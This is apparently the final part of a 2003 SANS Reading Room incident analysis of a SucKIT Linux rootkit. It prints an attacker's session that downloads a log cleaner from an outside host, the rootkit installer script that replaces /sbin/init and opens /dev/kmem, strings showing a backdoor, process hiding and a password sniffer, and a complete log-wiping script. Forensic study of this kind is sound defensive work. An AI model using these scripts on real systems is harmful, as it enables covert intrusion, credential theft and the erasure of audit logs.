sh-2.05a# cd /etc/.bmbl/
sh-2.05a# ./sk
/dev/null
RK_Init: idt=0xc033e000, sct[]=0xc02d225c, kmalloc()=0xc012ede0, gfp=0x1f0
Z_Init: Allocating kernel-code memory...Done, 12882 bytes, base=0xc14f0000
BD_Init: Starting backdoor daemon...Done, pid=6472
sh-2.05a# wget klan.carder.com/logclean
--14:54:43--  http://klan.carder.com/logclean
           => `logclean'
Resolving klan.carder.com... done.
Connecting to klan.carder.com[64.15.175.5]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1,345 [text/plain]

 0% [
                        ] 0             --.--K/s    ETA--:--
100%[=================================================================================
==============>]
1,345          1.28M/s    ETA 00:00

14:54:44 (1.28 MB/s) - `logclean' saved [1345/1345]

sh-2.05a# chmod +x logclean
sh-2.05a# kill -9 $$
[tmp]$ kill -9 $$
```

Contents of the sk13who file downloaded with above script. The actual character codes used to build the sk binary have for the most part, been eliminated.

```
#!/bin/bash
mkdir /etc/.bmbl
chmod a+rwx /dev/kmem
chmod a+rwx /dev/mem
D="/etc/.bmbl"
H="bmbl"
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e "\037\213\010\010\120\114\116\076\002\003\163\153\000\355\175\175\174\
\124\305\271\360\331\354\206\054\311\302\056\262\052\012\312\042\242\

----snip----

\270\050\157\332\337\071\200\113\031\000\356\377\002\250\132\065\274\
\130\162\000\000" |gzip -d > sk
chmod 0755 dk; if [ -f /sbin/init${H} ]; then mv -f /sbin/init/sbin/init${H};
```


© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

```
fi; rm -f /sbin/init; cp sk /sbin/init
echo Your home is $D, go there and type ./sk to install
echo us into memory.  Have fun!
```

Strings contained in the trojan /sbin/init - NOTE: there is some offensive language in this output.

```
#>strings /etc/init


<WVS
WVS1
Ph*
lWVS
WVS1
LWVS
,WVS
WVS1
90u:
9xu/
RQ@P
,WVS
RQ@P
M )M
,WVS
:.ul
<Zu"
CAJu
C?;E
,WVS1
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:./bin:/etc/.bm
bl:/etc/.bmbl/bin
HOME=/etc/.bmbl
HISTFILE=/dev/null
PS1=\[\033[1;30m\][\[\033[0;32m\]\u\[\033[1;32m\]@\[\033[0;32m\]\h \[\033[1;37m\
]\W\[\033[1;30m\]]\[\033[0m\]#
SHELL=/bin/bash
TERM=linux
pqrstuvwxyzabcde
0123456789abcdef
/dev/ptmx
/dev/pty
/dev/tty
/dev/null
/dev/null
Can't open a tty, all in use ?
Can't fork subshell, there is no way...
/etc/.bmbl
/bin/sh
Can't execve shell!
BD_Init: Starting backdoor daemon...
FUCK: Can't allocate raw socket (%d)
FUCK: Can't fork child (%d)
Done, pid=%d
/etc/.bmbl/.rc
use:
%s <uivfp> [args]
u       - uninstall
i       - make pid invisible
v       - make pid visible
f [0/1] - toggle file hiding
p [0/1] - toggle pid hiding
Detected version: %s
FUCK: Failed to uninstall (%d)
Suckit uninstalled sucesfully!
FUCK: Failed to hide pid %d (%d)
Pid %d is hidden now!
FUCK: Failed to unhide pid %d (%d)
```


© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

```
Pid %d is visible now!
file
Failed to change %s hiding (%d)!
%s hiding is now %s!
kmalloc
_kmalloc
__kmalloc
/etc/.bmbl
/dev/kmem
FUCK: Can't open %s for read/write (%d)
RK_Init: idt=0x%08x,
FUCK: IDT table read failed (offset 0x%08x)
FUCK: Can't find sys_call_table[]
sct[]=0x%08x,
FUCK: Can't find kmalloc()!
kmalloc()=0x%08x, gfp=0x%x
FUCK: Can't read syscall %d addr
Z_Init: Allocating kernel-code memory...
FUCK: Out of kernel memory!
Done, %d bytes, base=0x%08x
/dev/kmem
bmbl
/dev/null
core
FUCK: Got signal %d while manipulating kernel!
/sbin/initbmbl
0123456789abcdefghijklmnopqrstuvwxyz
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
<NULL>
/dev/null
1.3b
bmbl
/etc/.bmbl/.sniffer
/proc/
/proc/net/
socket:[
kmalloc()=0x%08x, gfp=0x%x
FUCK: Can't read syscall %d addr
Z_Init: Allocating kernel-code memory...
FUCK: Out of kernel memory!
Done, %d bytes, base=0x%08x
/dev/kmem
bmbl
/dev/null
core
FUCK: Got signal %d while manipulating kernel!
/sbin/initbmbl
0123456789abcdefghijklmnopqrstuvwxyz
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
<NULL>
/dev/null
1.3b
bmbl
/etc/.bmbl/.sniffer
/proc/
/proc/net/
socket:[
/sbin/init
/sbin/initbmbl
login
telnet
rlogin
rexec
passwd
adduser
mysql
ssword:
PRhl
WVS1
,WVS
```


© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

```
Phtcp
Phudp
Phraw
LWVS
%~u
taw"=
wB90u>
,WVS
WSjx
WSjH
WShP
WSjp
WSj
```

Logclean script included in rootkit

```
#!/bin/bash
#
# sauber - by socked [11.02.99]
#
# Usage: sauber <string>

BLK='ESC[1;30m'
RED='ESC[1;31m'
GRN='ESC[1;32m'
YEL='ESC[1;33m'
BLU='ESC[1;34m'
MAG='ESC[1;35m'
CYN='ESC[1;36m'
WHI='ESC[1;37m'
DRED='ESC[0;31m'
DGRN='ESC[0;32m'
DYEL='ESC[0;33m'
DBLU='ESC[0;34m'
DMAG='ESC[0;35m'
DCYN='ESC[0;36m'
DWHI='ESC[0;37m'
RES='ESC[0m'

echo "${BLK}* ${WHI}sauber ${DWHI}by ${WHI}s${BLU}o${DBLU}ck${BLK}ed [${DWHI}07$
{BLK}.${DWHI}27${BLK}.${DWHI}97${BLK}]${RES}"
if [ $# != 1 ]
then
  echo "${BLK}* ${DWHI}Usage${WHI}: "`basename $0`" <${DWHI}string${WHI}>${RES}"
  echo " "
  exit
fi
echo "${BLK}*${RES}"
echo "${BLK}* ${DWHI}Cleaning logs.. This may take a bit depending on the size o
f the logs.${RES}"

WERD=$(/bin/ls -F /var/log | grep -v "/" | grep -v "*" | grep -v ".tgz" | grep -
v ".gz" | grep -v ".tar" | grep -v "lastlog" | grep -v "utmp" | grep -v "wtmp" |
 grep -v "@")

for fil in $WERD
do
   line=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}')
   echo -n "${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line ${DWHI}lines${WHI})${BLK}.
..${RES}"
   grep -v $1 /var/log/$fil > new
   touch -r /var/log/$fil new
   mv -f new /var/log/$fil
   newline=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}')
   let linedel=$(($line-$newline))
   echo "${WHI}$linedel ${DWHI}lines removed!${RES}"
done
killall -HUP syslogd
echo "${BLK}* ${DWHI}Alles sauber mein Meister !'Q%&@$! ${RES}"
```


© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

LIST OF WORKS REFERENCED

CAN-2003-0127. cve.mitre.org. March 13, 2003.
URL: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0127
(June 3, 2003).

Cesare, Silvio. "Runtime Kernel Patching" November, 1998
URL: http://reactor-core.org/runtime-kernel-patching
(June 15, 2003).

Chuvakin, Anton. “ups and downs of UNIX/Linux host-based security solutions.” ;login. April 2003 volume 28 number 2: pp. 57-62

Cole, Eric Sans Security Essentials II: Network Security Overview, 4-11. v1.5 August, 2002

Cox, Alan. “Ptrace hole/Linux 2.2.5.” Neohapsis archives. March 17, 2003.
URL: http://archives.neohapsis.com/archives/vulnwatch/2003-q1/0134.html
(June 16, 2003).

Klein, Sander. “Linux Intrusion Detection System FAQ.” v20. May 19, 2003.
URL: http://www.lids.org/lids-faq/lids-faq.html
(June 15, 2003).

Miller, Toby. "Analysis of the KNARK Rootkit." March 12, 2001
URL: http://www.securityfocus.com/guest/4871
(June 1, 2003).

Plaguez, “Weakening the Linux Kernel.” Phrack. Volume 8, Issue 52 January 26, 1998, article 18 of 20
URL: http://www.phrack.org/show.php?p=52&a=18.
(June 15, 2003).

Purczynski, Wojciech. “Linux kernel ptrace/kmod local root exploit.” iSEC Security Research . January 25, 2003.
URL: http://packetstorm.troop218.org/filedesc/ptrace-kmod.c.html
(June 16, 2003).

“Rootkit definition.” searchSecurity.com Definitions. April 25, 2001
URL: http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci547279,00.html
(May 15, 2003).

sd <sd@sf.cz>. “Linux on-the-fly kernel patching without LKM.” Phrack. Volume 11, Issue 58 December 12, 2001 article 7 of 14.
URL: http://www.phrack.org/show.php?p=58&a=7
(June 15, 2003).

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

Szombierski, Andrezej "Linux kmod /ptrace bug - details." SecurityFocus Bugtraq archive. March 19, 2003.
URL: http://www.securityfocus.com/archive/1/315635
(June 15, 2003).

"What's chkrootkit?" chkrootkit.org. April 4, 2003
URL: http://www.chkrootkit.org.
(June 15, 2003).

Wichmann, Rainer. "Linux Kernel Rootkits." 2002
URL: http://www.la-samhna.de/library/rootkits/index.html.
(June 1, 2003).

Cole, Eric Sans Security Essentials II: Network Security Overview, 4-11. v1.5 August, 2002

Software packages/tools/utilities

CIS Level-1 Benchmark and Scoring Tool for Linux. Center for Internet Security.
URL: http://www.cisecurity.org/bench_linux.html (June 17, 2003).

crack v5.0. Perdue University.
URL: ftp://ftp.cerias.purdue.edu/pub/tools/unix/pwdutils/crack (June 17, 2003).

Linux Intrusion Detection System.
URL: http://www.lids.org (June 17, 2003).

Nessus. Nessus.org
URL: http://www.nessus.org (June 17, 2003).

Nmap security scanner. Insecure.org
URL: http://nmap.org (June 17, 2003).

Saint Jude Project. SourceForge.net
URL: http://sourceforge.net/projects/stjude (June 17, 2003).

samhain file integrity / intrusion detection system. Samhain labs.
URL: http://www.la-samhna.de/samhain. (June 17, 2003).

Symantec AntiVirus Corporate Edition. Symantec Corporation.
URL:http://enterprisesecurity.symantec.com/products/products.cfm?ProductID=155&EID=0 (June 17, 2003).

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

Tripwire. Tripwire Inc.
URL: http://www.tripwire.org. (June 17, 2003).

Vexira Antivirus for Linux servers. Central Command Inc.
URL: http://www.centralcommand.com/linux_server.html (June 17, 2003).

Vexira Antivirus for mail servers. Central Command Inc.
URL: http://www.centralcommand.com/vexira_mailarmor_linux.html
(June 17, 2003).

Security websites referenced

CERT Coordiation Center URL:http://www.cert.org

Internet Storm Center URL:http://isc.incidents.org

LinuxSecurity URL:http://Linuxsecurity.org

Neohapsis URL: http://www.neohapsis.com

RedHat Linux errata URL:https://rhn.redhat.com/errata/rh73-errata-bugfixes.html

SecurityFocus URL: http://www.securityfocus.com

SANS URL:http://www.sans.org

US DOE Computer Incident Advisory Capability URL: http://www.ciac.org/ciac

© SANS Institute 2003, Author retains full rights

© SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights.

Last Updated: May 25th, 2013

Upcoming SANS Training

Click Here for a full list of all Upcoming SANS Events by Location

SANS Malaysia @ MCMC 2013	Cyberjaya, MY	Jun 03, 2013 - Jun 08, 2013	Live Event
SANS Pen Test Berlin 2013	Berlin, DE	Jun 03, 2013 - Jun 08, 2013	Live Event
Industial Control Systems Security Training - Houston	Houston, TXUS	Jun 10, 2013 - Jun 15, 2013	Live Event
Security Impact of IPv6 Summit 2013	Washington, DCUS	Jun 14, 2013 - Jun 16, 2013	Live Event
SANSFIRE 2013	Washington, DCUS	Jun 14, 2013 - Jun 22, 2013	Live Event
SANS Canberra 2013	Canberra, AU	Jul 01, 2013 - Jul 13, 2013	Live Event
Digital Forensics & Incident Response Summit 2013	Austin, TXUS	Jul 09, 2013 - Jul 16, 2013	Live Event
SANS London Summer 2013	London, GB	Jul 09, 2013 - Jul 16, 2013	Live Event
SANS Rocky Mountain 2013	Denver, COUS	Jul 14, 2013 - Jul 20, 2013	Live Event
SANS Mumbai 2013	Mumbai, IN	Jul 22, 2013 - Jul 27, 2013	Live Event
SEC528 SANS Training Program for the CompTIA® New Advanced Security Practitioner (CASP) Certification	Washington, DCUS	Jul 22, 2013 - Jul 26, 2013	Live Event
SANS San Francisco 2013	San Francisco, CAUS	Jul 29, 2013 - Aug 03, 2013	Live Event
SANS SEC 560: Network Penetration Testing @ Bangalore 2013	Bangalore, IN	Aug 05, 2013 - Aug 10, 2013	Live Event
SANS Boston 2013	Boston, MAUS	Aug 05, 2013 - Aug 10, 2013	Live Event
Critical Security Controls Summit	Washington, DCUS	Aug 12, 2013 - Aug 18, 2013	Live Event
Industrial Control Systems Security Training - DC	Washington, DCUS	Aug 12, 2013 - Aug 16, 2013	Live Event
SANS Thailand 2013	Bangkok, TH	Aug 19, 2013 - Aug 31, 2013	Live Event
SANS Virginia Beach 2013	Virginia Beach, VAUS	Aug 19, 2013 - Aug 30, 2013	Live Event
Mobile Device Security Summit 2013	OnlineCAUS	May 30, 2013 - Jun 06, 2013	Live Event
SANS OnDemand	Books & MP3s OnlyUS	Anytime	Self Paced